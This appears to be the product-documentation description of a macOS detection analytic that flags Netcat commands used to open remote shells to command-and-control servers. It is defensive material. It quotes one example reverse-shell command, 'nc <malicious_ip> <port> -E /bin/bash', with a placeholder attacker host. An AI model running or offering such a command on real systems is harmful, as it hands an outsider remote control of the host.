The ImproperUseOfNetcat analytic will detect the execution of Netcat commands commonly used to initiate remote shell sessions where a suspicious, unsupported process argument is specified.
Threat actors frequently use Netcat to make network connections across endpoints and remote sessions to C2 (command and control) servers once they have a presence inside a network. A remote session allows a threat actor to communicate with and control the host endpoint from outside the network. On other Unix-based systems the -E argument can be used with Netcat to execute a specific program via the remote connection, such as nc <malicious_ip> <port> -E /bin/bash. However, Netcat on macOS does not support the -E argument and it's failed usage is an indication of malicious intent, with both penetration testers and real threat actors commonly making this mistake.
For more information about this type of threat see MITRE ATT&CK Tactic: Lateral Movement and MITRE ATT&CK Technique: Remote Services.